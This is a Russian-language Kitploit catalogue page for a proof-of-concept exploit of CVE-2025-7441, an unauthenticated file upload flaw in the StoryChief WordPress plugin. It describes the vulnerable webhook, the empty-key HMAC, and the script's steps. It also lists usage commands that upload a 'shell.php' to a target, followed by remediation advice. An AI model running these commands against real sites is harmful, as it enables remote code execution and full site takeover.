Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - Неаутентифицированная произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/anothersec/cve-2025-7441
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubanothersec/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - Неаутентифицированная произвольная загрузка файлов

Репозиторий
312 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 — Произвольная загрузка файла

Уязвимость (CVE-2025-7441) — Техническое описание

  • Затронутый компонент: плагин StoryChief для WordPress
  • Тип уязвимости: неаутентифицированная произвольная загрузка файла
  • Уязвимая конечная точка: /wp-json/storychief/webhook
  • Причина: плагин принимает JSON-полезную нагрузку вебхука, содержащую URL (в data.featured_image.data.sizes.full), и выполняет серверный HTTP-запрос GET по этому URL без достаточной проверки (отсутствует белый список доменов, недостаточная проверка MIME/содержимого, файлы сохраняются в общедоступные директории загрузок).
  • Воздействие: неаутентифицированный злоумышленник может заставить сервер загрузить и сохранить контролируемое содержимое в директорию загрузок WordPress (например, wp-content/uploads/YYYY/MM/<имя_файла>). Если загруженный файл может быть интерпретирован/выполнен сервером (например, PHP-файл и сервер разрешает выполнение PHP в этой директории), это приводит к удаленному выполнению кода (RCE) и полной компрометации сайта.
  • CVSS (пример): 9.8 (Критический) — серьезность зависит от конфигурации хостинга и разрешений на выполнение.

Об этом PoC (CVE-2025-7441)

Этот скрипт автоматизирует типичный процесс проверки эксплуатации уязвимости:

  1. Формирует JSON-полезную нагрузку вебхука, помещая URL удаленного файла в data.featured_image.data.sizes.full.
  2. Вычисляет подпись HMAC-SHA256 для полезной нагрузки (скрипт по умолчанию вычисляет с пустым ключом) и сохраняет её в meta.mac.
  3. Отправляет POST-запрос с полезной нагрузкой на <site_url>/wp-json/storychief/webhook.
  4. Проверяет, присутствует ли загруженный файл по ожидаемому пути загрузки:

<site_url>/wp-content/uploads/<ГОД>/<ММ>/<базовое_имя_файла>

Если файл отвечает кодом HTTP 200, скрипт сообщает об успехе; в противном случае выводит <не удалось загрузить>.

Скрипт включает следующие флаги: --file-url, --verbose, --use-curl и --retries.

Использование

python3 CVE-2025-7441.py <site_url>

Позиционный аргумент

  • <site_url> — Базовый URL целевого сайта. Пример: http://127.0.0.1:5000/ или https://target.example/

Флаги

  • --file-url — Переопределить URL удаленного файла, используемый PoC по умолчанию. По умолчанию: жестко заданный пример raw-ссылки на GitHub. Пример: --file-url https://127.0.0.1:5000/zip.php
  • --verbose — Включить подробный вывод (выводит детали запроса/ответа и ход проверки).
  • --use-curl — Использовать подпроцесс curl для отправки POST (запасной режим). Требует установленного curl.
  • --retries — Количество попыток проверить ожидаемый путь загрузки на наличие файла. По умолчанию: 1. Используйте, например, --retries 5 для многократного опроса.

Пример команды

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/

Указать свой URL удаленного файла

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php

Подробный вывод и несколько проверок

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5

Использовать curl для отправки POST

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose

Вывод:

root@kitploit:~
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php

Устранение

Устранение и исправление Краткосрочное:

Обновите StoryChief до исправленной версии, как только она станет доступна. Заблокируйте или ограничьте /wp-json/storychief/webhook через WAF или правила сервера. Ограничьте исходящие запросы сервера или трафик на ненадёжные домены.

Рекомендации разработчикам:

Проверяйте типы файлов и содержимое после любой удалённой загрузки; проверяйте изображения с помощью безопасных парсеров и отклоняйте недопустимые файлы. Требуйте аутентификацию для вебхуков, которые вызывают серверную загрузку или создание файлов. Убедитесь, что проверка HMAC/подписи реализована и используется. Сохраняйте загруженное содержимое за пределами корневого веб-каталога или отключайте выполнение загруженных файлов в wp-content/uploads.

Скачать инструмент